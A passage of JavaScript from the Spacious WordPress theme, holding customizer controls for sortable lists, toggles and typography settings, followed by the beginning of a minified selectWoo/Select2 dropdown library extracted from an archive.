			{
				// Update value when we stop sorting.
				stop : function () {
					control.updateValue();
				}
			}
		).disableSelection().find( 'li' ).each(
			function () {
				// Enable/disable options when we click on the eye of Thundera.
				jQuery( this ).find( 'i.visibility' ).click(
					function () {
						jQuery( this ).toggleClass( 'dashicons-visibility-faint' ).parents( 'li:eq(0)' ).toggleClass( 'invisible' );
					}
				);
			}
		).click(
			function () {
				// Update value on click.
				control.updateValue();
			}
		);

	},

	updateValue : function () {

		'use strict';

		var control  = this,
		    newValue = [];

		this.sortableContainer.find( 'li' ).each(
			function () {
				if ( ! jQuery( this ).is( '.invisible' ) ) {
					newValue.push( jQuery( this ).data( 'value' ) );
				}
			}
		);

		control.setting.set( newValue );

	}

} );

/**
 * Switch toggle control JS to handle the toggle of custom customize controls.
 *
 * File `toggle.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-toggle'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this,
		    value   = control.setting._value;

		// Save the value.
		this.container.on( 'change', 'input', function () {
			value = jQuery( this ).is( ':checked' ) ? true : false;

			control.setting.set( value );
		} );

	}

} );

/**
 * Typography control JS to handle the typography customize option.
 *
 * File `typography.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-typography'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// On customizer load, render the available font options.
		control.renderFontSelector();
		control.renderVariantSelector();
		control.renderSubsetSelector();

		// Font style setting.
		control.container.on( 'change', '.font-style select', function () {
			control.saveValue( 'font-style', jQuery( this ).val() );
		} );

		// Text transform setting.
		control.container.on( 'change', '.text-transform select', function () {
			control.saveValue( 'text-transform', jQuery( this ).val() );
		} );

		// Text decoration setting.
		control.container.on( 'change', '.text-decoration select', function () {
			control.saveValue( 'text-decoration', jQuery( this ).val() );
		} );

		// Font size setting.
		control.container.on( 'change keyup paste input', '.font-size input', function () {
			control.updateFontSize();
		} );

		// Line height setting.
		control.container.on( 'change keyup paste input', '.line-height input', function () {
			control.updateLineHeight();
		} );

		// Letter spacing setting.
		control.container.on( 'change keyup paste input', '.letter-spacing input', function () {
			control.updateLetterSpacing();
		} );

	},

	renderFontSelector : function () {

		var control       = this,
		    selector      = control.selector + ' .font-family select',
		    standardFonts = [],
		    googleFonts   = [],
		    customFonts   = [],
		    value         = control.setting._value,
		    fonts         = control.getFonts(),
		    fontSelect;

		// Format standard fonts as an array.
		if ( ! _.isUndefined( fonts.standard ) ) {
			_.each(
				fonts.standard,
				function ( font ) {
					standardFonts.push(
						{
							id   : font.family.replace( /&quot;/g, '&#39' ),
							text : font.label
						}
					);
				}
			);
		}

		// Format Google fonts as an array.
		if ( ! _.isUndefined( fonts.google ) ) {
			_.each(
				fonts.google,
				function ( font ) {
					googleFonts.push(
						{
							id   : font.family,
							text : font.label
						}
					);
				}
			);
		}

		// Combine fonts and build the final data.
		data = [
			{
				text     : fonts.standardfontslabel,
				children : standardFonts
			},
			{
				text     : fonts.googlefontslabel,
				children : googleFonts
			}
		];

		// Format custom fonts as an array.
		if ( ! _.isUndefined( fonts.custom ) ) {
			_.each(
				fonts.custom,
				function ( font ) {
					customFonts.push(
						{
							id   : font.family,
							text : font.label
						}
					);
				}
			);

			// Merge on `data` array.
			data.push(
				{
					text     : fonts.customfontslabel,
					children : customFonts
				}
			);
		}

		// Instantiate selectWoo with the data.
		fontSelect = jQuery( selector ).selectWoo(
			{
				data  : data,
				width : '100%'
			}
		);

		// Set the initial value.
		if ( value['font-family'] ) {
			fontSelect.val( value['font-family'].replace( /'/g, '"' ) ).trigger( 'change' );
		}

		// When the font option value changes.
		fontSelect.on(
			'change',
			function () {

				// Set the value.
				control.saveValue( 'font-family', jQuery( this ).val() );

				// Render new list of selected font options.
				control.renderVariantSelector();
				control.renderSubsetSelector();

			}
		);

	},

	getFonts : function () {

		var control = this;

		if ( ! _.isUndefined( SpaciousCustomizerControlTypography ) ) {
			return SpaciousCustomizerControlTypography;
		}

		return {
			google   : [],
			standard : []
		};

	},

	renderVariantSelector : function () {

		var control    = this,
		    value      = control.setting._value,
		    fontFamily = value['font-family'],
		    variants   = control.getVariants( fontFamily ),
		    selector   = control.selector + ' .font-weight select',
		    data       = [],
		    isValid    = false,
		    variantSelector;

		if ( false !== variants ) {

			jQuery( control.selector + ' .font-weight' ).show();
			_.each(
				variants,
				function ( variant ) {
					if ( value['font-weight'] === variant.id ) {
						isValid = true;
					}

					data.push(
						{
							id   : variant.id,
							text : variant.label
						}
					);
				}
			);

			if ( ! isValid ) {
				value['font-weight'] = 'regular';
			}

			if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) {
				jQuery( selector ).selectWoo( 'destroy' );
				jQuery( selector ).empty();
			}

			// Instantiate selectWoo with the data.
			variantSelector = jQuery( selector ).selectWoo(
				{
					data  : data,
					width : '100%'
				}
			);

			variantSelector.val( value['font-weight'] ).trigger( 'change' );
			variantSelector.on(
				'change',
				function () {
					control.saveValue( 'font-weight', jQuery( this ).val() );
				}
			);

		} else {

			jQuery( control.selector + ' .font-weight' ).hide();

		}

	},

	getVariants : function ( fontFamily ) {

		var control = this,
		    fonts   = control.getFonts();

		var variants = false;
		_.each(
			fonts.standard,
			function ( font ) {
				if ( fontFamily && font.family === fontFamily.replace( /'/g, '"' ) ) {
					variants = font.variants;

					return variants;
				}
			}
		);

		_.each(
			fonts.google,
			function ( font ) {
				if ( font.family === fontFamily ) {
					variants = font.variants;

					return variants;
				}
			}
		);

		// For custom fonts.
		if ( ! _.isUndefined( fonts.custom ) ) {
			_.each(
				fonts.custom,
				function ( font ) {
					if ( font.custom === fontFamily ) {
						variants = font.variants;

						return variants;
					}
				}
			);
		}

		return variants;

	},

	renderSubsetSelector : function () {

		var control    = this,
		    value      = control.setting._value,
		    fontFamily = value['font-family'],
		    subsets    = control.getSubsets( fontFamily ),
		    selector   = control.selector + ' .subsets select',
		    data       = [],
		    validValue = value.subsets,
		    subsetSelector;

		if ( false !== subsets ) {

			jQuery( control.selector + ' .subsets' ).show();
			_.each(
				subsets,
				function ( subset ) {
					if ( _.isObject( validValue ) ) {
						if ( - 1 === validValue.indexOf( subset.id ) ) {
							validValue = _.reject(
								validValue,
								function ( subValue ) {
									return subValue === subset.id;
								}
							);
						}
					}

					data.push(
						{
							id   : subset.id,
							text : subset.label
						}
					);
				}
			);

		} else {

			jQuery( control.selector + ' .subsets' ).hide();

		}

		if ( jQuery( selector ).hasClass( 'select2-hidden-accessible' ) ) {
			jQuery( selector ).selectWoo( 'destroy' );
			jQuery( selector ).empty();
		}

		// Instantiate selectWoo with the data.
		subsetSelector = jQuery( selector ).selectWoo(
			{
				data  : data,
				width : '100%'
			}
		);

		subsetSelector.val( validValue ).trigger( 'change' );
		subsetSelector.on(
			'change',
			function () {
				control.saveValue( 'subsets', jQuery( this ).val() );
			}
		);

	},

	getSubsets : function ( fontFamily ) {

		var control = this,
		    subsets = false,
		    fonts   = control.getFonts();

		_.each(
			fonts.google,
			function ( font ) {
				if ( font.family === fontFamily ) {
					subsets = font.subsets;

					return subsets;
				}
			}
		);

		return subsets;

	},

	saveValue : function ( property, value ) {

		var control = this,
		    input   = control.container.find( '.typography-hidden-value' ),
		    val     = control.setting._value;

		val[property] = value;

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	},

	updateFontSize : function () {

		var control  = this,
		    val      = control.setting._value,
		    input    = control.container.find( '.typography-hidden-value' ),
		    newValue = {
			    'font-size' : {}
		    };

		control.container.find( '.font-size .control-wrap' ).each(
			function () {
				var controlValue = jQuery( this ).find( 'input' ).val();
				var device       = jQuery( this ).find( 'input' ).data( 'device' );

				newValue['font-size'][device] = controlValue;
			}
		);

		// Extend/Update the `val` object to include `newValue`'s new data as an object.
		jQuery.extend( val, newValue );

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	},

	updateLineHeight : function () {

		var control  = this,
		    val      = control.setting._value,
		    input    = control.container.find( '.typography-hidden-value' ),
		    newValue = {
			    'line-height' : {}
		    };

		control.container.find( '.line-height .control-wrap' ).each(
			function () {
				var controlValue = jQuery( this ).find( 'input' ).val();
				var device       = jQuery( this ).find( 'input' ).data( 'device' );

				newValue['line-height'][device] = controlValue;
			}
		);

		// Extend/Update the `val` object to include `newValue`'s new data as an object.
		jQuery.extend( val, newValue );

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	},

	updateLetterSpacing : function () {

		var control  = this,
		    val      = control.setting._value,
		    input    = control.container.find( '.typography-hidden-value' ),
		    newValue = {
			    'letter-spacing' : {}
		    };

		control.container.find( '.letter-spacing .control-wrap' ).each(
			function () {
				var controlValue = jQuery( this ).find( 'input' ).val();
				var device       = jQuery( this ).find( 'input' ).data( 'device' );

				newValue['letter-spacing'][device] = controlValue;
			}
		);

		// Extend/Update the `val` object to include `newValue`'s new data as an object.
		jQuery.extend( val, newValue );

		jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
		control.setting.set( val );

	}

} );
core/custom-controls/assets/js/selectWoo.min.js000066600000204562152367043330015674 0ustar00!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(t){var e,n,o,p,s,r,h,f,g,m,y,v,i,a,_,o=(t&&t.fn&&t.fn.select2&&t.fn.select2.amd&&(u=t.fn.select2.amd),u&&u.requirejs||(u?n=u:u={},g={},m={},y={},v={},i=Object.prototype.hasOwnProperty,a=[].slice,_=/\.js$/,h=function(e,t){var n,o,i=c(e),s=i[0],t=t[1];return e=i[1],s&&(n=A(s=l(s,t))),s?e=n&&n.normalize?n.normalize(e,(o=t,function(e){return l(e,o)})):l(e,t):(s=(i=c(e=l(e,t)))[0],e=i[1],s&&(n=A(s))),{f:s?s+"!"+e:e,n:e,pr:s,p:n}},f={require:function(e){return b(e)},exports:function(e){var t=g[e];return void 0!==t?t:g[e]={}},module:function(e){return{id:e,uri:"",exports:g[e],config:(t=e,function(){return y&&y.config&&y.config[t]||{}})};var t}},s=function(e,t,n,o){var i,s,r,a,l,c=[],u=typeof n,d=x(o=o||e);if("undefined"==u||"function"==u){for(t=!t.length&&n.length?["require","exports","module"]:t,a=0;a<t.length;a+=1)if("require"===(s=(r=h(t[a],d)).f))c[a]=f.require(e);else if("exports"===s)c[a]=f.exports(e),l=!0;else if("module"===s)i=c[a]=f.module(e);else if(w(g,s)||w(m,s)||w(v,s))c[a]=A(s);else{if(!r.p)throw new Error(e+" missing "+s);r.p.load(r.n,b(o,!0),function(t){return function(e){g[t]=e}}(s),{}),c[a]=g[s]}u=n?n.apply(g[e],c):void 0,e&&(i&&i.exports!==p&&i.exports!==g[e]?g[e]=i.exports:u===p&&l||(g[e]=u))}else e&&(g[e]=n)},e=n=r=function(e,t,n,o,i){if("string"==typeof e)return f[e]?f[e](t):A(h(e,x(t)).f);if(!e.splice){if((y=e).deps&&r(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=p}return t=t||function(){},"function"==typeof n&&(n=o,o=i),o?s(p,e,t,n):setTimeout(function(){s(p,e,t,n)},4),r},r.config=function(e){return r(e)},e._defined=g,(o=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),w(g,e)||w(m,e)||(m[e]=[e,t,n])}).amd={jQuery:!0},u.requirejs=e,u.require=n,u.define=o),u.define("almond",function(){}),u.define("jquery",[],function(){var e=t||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),u.define("select2/utils",["jquery"],function(s){var e={};function c(e){var t,n=e.prototype,o=[];for(t in n){"function"==typeof n[t]&&"constructor"!==t&&o.push(t)}return o}e.Extend=function(e,t){var n,o={}.hasOwnProperty;function i(){this.constructor=e}for(n in t)o.call(t,n)&&(e[n]=t[n]);return i.prototype=t.prototype,e.prototype=new i,e.__super__=t.prototype,e},e.Decorate=function(o,i){var e=c(i),t=c(o);function s(){var e=Array.prototype.unshift,t=i.prototype.constructor.length,n=o.prototype.constructor;0<t&&(e.call(arguments,o.prototype.constructor),n=i.prototype.constructor),n.apply(this,arguments)}i.displayName=o.displayName,s.prototype=new function(){this.constructor=s};for(var n=0;n<t.length;n++){var r=t[n];s.prototype[r]=o.prototype[r]}for(var a=0;a<e.length;a++){var l=e[a];s.prototype[l]=function(e){var t=function(){};e in s.prototype&&(t=s.prototype[e]);var n=i.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}(l)}return s};function t(){this.listeners={}}return t.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},t.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},t.prototype.invoke=function(e,t){for(var n=0,o=e.length;n<o;n++)e[n].apply(this,t)},e.Observable=t,e.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},e.bind=function(e,t){return function(){e.apply(t,arguments)}},e._convertData=function(e){for(var t in e){var n=t.split("-"),o=e;if(1!==n.length){for(var i=0;i<n.length;i++){var s=n[i];(s=s.substring(0,1).toLowerCase()+s.substring(1))in o||(o[s]={}),i==n.length-1&&(o[s]=e[t]),o=o[s]}delete e[t]}}return e},e.hasScroll=function(e,t){var n=s(t),o=t.style.overflowX,i=t.style.overflowY;return(o!==i||"hidden"!==i&&"visible"!==i)&&("scroll"===o||"scroll"===i||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},e.escapeMarkup=function(e){var t={"\\":"&#92;","&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;","/":"&#47;"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},e.appendMany=function(e,t){var n;"1.7"===s.fn.jquery.substr(0,3)&&(n=s(),s.map(t,function(e){n=n.add(e)}),t=n),e.append(t)},e.isTouchscreen=function(){return void 0===e._isTouchscreenCache&&(e._isTouchscreenCache="ontouchstart"in document.documentElement),e._isTouchscreenCache},e}),u.define("select2/results",["jquery","./utils"],function(d,e){function o(e,t,n){this.$element=e,this.data=n,this.options=t,o.__super__.constructor.call(this)}return e.Extend(o,e.Observable),o.prototype.render=function(){var e=d('<ul class="select2-results__options" role="listbox" tabindex="-1"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},o.prototype.clear=function(){this.$results.empty()},o.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=d('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),o=this.options.get("translations").get(e.message);n.append(t(o(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},o.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},o.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var o=e.results[n],o=this.option(o);t.push(o)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},o.prototype.position=function(e,t){t.find(".select2-results").append(e)},o.prototype.sort=function(e){return this.options.get("sorter")(e)},o.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[data-selected]"),t=e.filter("[data-selected=true]");(0<t.length?t:e).first().trigger("mouseenter"),this.ensureHighlightVisible()},o.prototype.setClasses=function(){var t=this;this.data.current(function(e){var o=d.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[data-selected]").each(function(){var e=d(this),t=d.data(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<d.inArray(n,o)?e.attr("data-selected","true"):e.attr("data-selected","false")})})},o.prototype.showLoading=function(e){this.hideLoading();e={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},e=this.option(e);e.className+=" loading-results",this.$results.prepend(e)},o.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},o.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n,o={role:"option","data-selected":"false",tabindex:-1};for(n in e.disabled&&(delete o["data-selected"],o["aria-disabled"]="true"),null==e.id&&delete o["data-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(o["aria-label"]=e.text,delete o["data-selected"]),o){var i=o[n];t.setAttribute(n,i)}if(e.children){var s=d(t),r=document.createElement("strong");r.className="select2-results__group";var a=d(r);this.template(e,r),a.attr("role","presentation");for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],u=this.option(u);l.push(u)}a=d("<ul></ul>",{class:"select2-results__options select2-results__options--nested",role:"listbox"});a.append(l),s.attr("role","list"),s.append(r),s.append(a)}else this.template(e,t);return d.data(t,"data",e),t},o.prototype.bind=function(t,e){var i=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){i.clear(),i.append(e.data),t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("results:append",function(e){i.append(e.data),t.isOpen()&&i.setClasses()}),t.on("query",function(e){i.hideMessages(),i.showLoading(e)}),t.on("select",function(){t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("open",function(){i.$results.attr("aria-expanded","true"),i.$results.attr("aria-hidden","false"),i.setClasses(),i.ensureHighlightVisible()}),t.on("close",function(){i.$results.attr("aria-expanded","false"),i.$results.attr("aria-hidden","true"),i.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=i.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e,t=i.getHighlightedResults();0!==t.length&&(e=t.data("data"),"true"==t.attr("data-selected")?i.trigger("close",{}):i.trigger("select",{data:e}))}),t.on("results:previous",function(){var e,t=i.getHighlightedResults(),n=i.$results.find("[data-selected]"),o=n.index(t);0!==o&&(e=o-1,0===t.length&&(e=0),(o=n.eq(e)).trigger("mouseenter"),t=i.$results.offset().top,n=o.offset().top,o=i.$results.scrollTop()+(n-t),0===e?i.$results.scrollTop(0):n-t<0&&i.$results.scrollTop(o))}),t.on("results:next",function(){var e,t=i.getHighlightedResults(),n=i.$results.find("[data-selected]"),o=n.index(t)+1;o>=n.length||((e=n.eq(o)).trigger("mouseenter"),t=i.$results.offset().top+i.$results.outerHeight(!1),n=e.offset().top+e.outerHeight(!1),e=i.$results.scrollTop()+n-t,0===o?i.$results.scrollTop(0):t<n&&i.$results.scrollTop(e))}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted").attr("aria-selected","true"),i.$results.attr("aria-activedescendant",e.element.attr("id"))}),t.on("results:message",function(e){i.displayMessage(e)}),d.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=i.$results.scrollTop(),n=i.$results.get(0).scrollHeight-t+e.deltaY,t=0<e.deltaY&&t-e.deltaY<=0,n=e.deltaY<0&&n<=i.$results.height();t?(i.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):n&&(i.$results.scrollTop(i.$results.get(0).scrollHeight-i.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[data-selected]",function(e){var t=d(this),n=t.data("data");"true"!==t.attr("data-selected")?i.trigger("select",{originalEvent:e,data:n}):i.options.get("multiple")?i.trigger("unselect",{originalEvent:e,data:n}):i.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[data-selected]",function(e){var t=d(this).data("data");i.getHighlightedResults().removeClass("select2-results__option--highlighted").attr("aria-selected","false"),i.trigger("results:focus",{data:t,element:d(this)})})},o.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},o.prototype.destroy=function(){this.$results.remove()},o.prototype.ensureHighlightVisible=function(){var e,t,n,o,i=this.getHighlightedResults();0!==i.length&&(e=this.$results.find("[data-selected]").index(i),o=this.$results.offset().top,t=i.offset().top,n=this.$results.scrollTop()+(t-o),o=t-o,n-=2*i.outerHeight(!1),e<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(n))},o.prototype.template=function(e,t){var n=this.options.get("templateResult"),o=this.options.get("escapeMarkup"),e=n(e,t);null==e?t.style.display="none":"string"==typeof e?t.innerHTML=o(e):d(t).append(e)},o}),u.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),u.define("select2/selection/base",["jquery","../utils","../keys"],function(o,e,i){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=o('<span class="select2-selection"  aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=this.$element.data("old-tabindex")?this._tabindex=this.$element.data("old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),this.$selection=e},n.prototype.bind=function(e,t){var n=this,o=(e.id,e.id+"-results");this.options.get("minimumResultsForSearch");this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===i.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",o),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),window.setTimeout(function(){n.$selection.focus()},1),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex)}),e.on("disable",function(){n.$selection.attr("tabindex","-1")})},n.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||o.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},n.prototype._attachCloseHandler=function(e){o(document.body).on("mousedown.select2."+e.id,function(e){var t=o(e.target),n=t.closest(".select2");o(".select2.select2-container--open").each(function(){var e=o(this);this!=n[0]&&(e.data("element").select2("close"),setTimeout(function(){e.find("*:focus").blur(),t.focus()},1))})})},n.prototype._detachCloseHandler=function(e){o(document.body).off("mousedown.select2."+e.id)},n.prototype.position=function(e,t){t.find(".selection").append(e)},n.prototype.destroy=function(){this._detachCloseHandler(this.container)},n.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},n}),u.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,o){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments);var o=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",o).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",o),this.$selection.attr("role","combobox"),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("keydown",function(e){!t.isOpen()&&48<=e.which&&e.which<=90&&t.open()}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.focus()}),t.on("selection:update",function(e){n.update(e.data)})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){var t,n;0!==e.length?(t=e[0],n=this.$selection.find(".select2-selection__rendered"),e=this.display(t,n),n.empty().text(e),n.prop("title",t.title||t.text)):this.clear()},i}),u.define("select2/selection/multiple",["jquery","./base","../utils"],function(o,e,a){function i(e,t){i.__super__.constructor.apply(this,arguments)}return a.Extend(i,e),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered" aria-live="polite" aria-relevant="additions removals" aria-atomic="true"></ul>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){n.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){var t;n.options.get("disabled")||(t=o(this).parent().data("data"),n.trigger("unselect",{originalEvent:e,data:t}))}),this.$selection.on("keydown",function(e){!t.isOpen()&&48<=e.which&&e.which<=90&&t.open()}),t.on("focus",function(){n.focusOnSearch()})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return o('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation" aria-hidden="true">&times;</span></li>')},i.prototype.focusOnSearch=function(){var e=this;void 0!==e.$search&&setTimeout(function(){e._keyUpPrevented=!0,e.$search.focus()},1)},i.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var o=e[n],i=this.selectionContainer(),s=this.display(o,i);"string"==typeof s&&(s=s.trim()),i.append(s),i.prop("title",o.title||o.text),i.data("data",o),t.push(i)}var r=this.$selection.find(".select2-selection__rendered");a.appendMany(r,t)}},i}),u.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();t=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(t)},t}),u.define("select2/selection/allowClear",["jquery","../keys"],function(n,o){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){o._handleClear(e)}),t.on("keypress",function(e){o._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.options.get("disabled")){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();for(var o=n.data("data"),i=0;i<o.length;i++){var s={data:o[i]};if(this.trigger("unselect",s),s.prevented)return}this.$element.val(this.placeholder.id).trigger("change"),this.trigger("toggle",{})}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=o.DELETE&&t.which!=o.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){e.call(this,t),0<this.$selection.find(".select2-selection__placeholder").length||0===t.length||((e=n('<span class="select2-selection__clear">&times;</span>')).data("data",t),this.$selection.find(".select2-selection__rendered").prepend(e))},e}),u.define("select2/selection/search",["jquery","../utils","../keys"],function(n,e,r){function t(e,t,n){e.call(this,t,n)}return t.prototype.render=function(e){var t=n('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="text" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");e=e.call(this);return this._transferTabIndex(),e},t.prototype.bind=function(e,n,t){var o=this,i=n.id+"-results";e.call(this,n,t),n.on("open",function(){o.$search.attr("aria-owns",i),o.$search.trigger("focus")}),n.on("close",function(){o.$search.val(""),o.$search.removeAttr("aria-activedescendant"),o.$search.removeAttr("aria-owns"),o.$search.trigger("focus")}),n.on("enable",function(){o.$search.prop("disabled",!1),o._transferTabIndex()}),n.on("disable",function(){o.$search.prop("disabled",!0)}),n.on("focus",function(e){o.$search.trigger("focus")}),n.on("results:focus",function(e){o.$search.attr("aria-activedescendant",e.data._resultId)}),this.$selection.on("focusin",".select2-search--inline",function(e){o.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){o._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){var t;e.stopPropagation(),o.trigger("keypress",e),o._keyUpPrevented=e.isDefaultPrevented(),e.which===r.BACKSPACE&&""===o.$search.val()?0<(t=o.$searchContainer.prev(".select2-selection__choice")).length&&(t=t.data("data"),o.searchRemoveChoice(t),e.preventDefault()):e.which===r.ENTER&&(n.open(),e.preventDefault())});var t=document.documentMode,s=t&&t<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?o.$selection.off("input.search input.searchcheck"):o.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){var t;s&&"input"===e.type?o.$selection.off("input.search 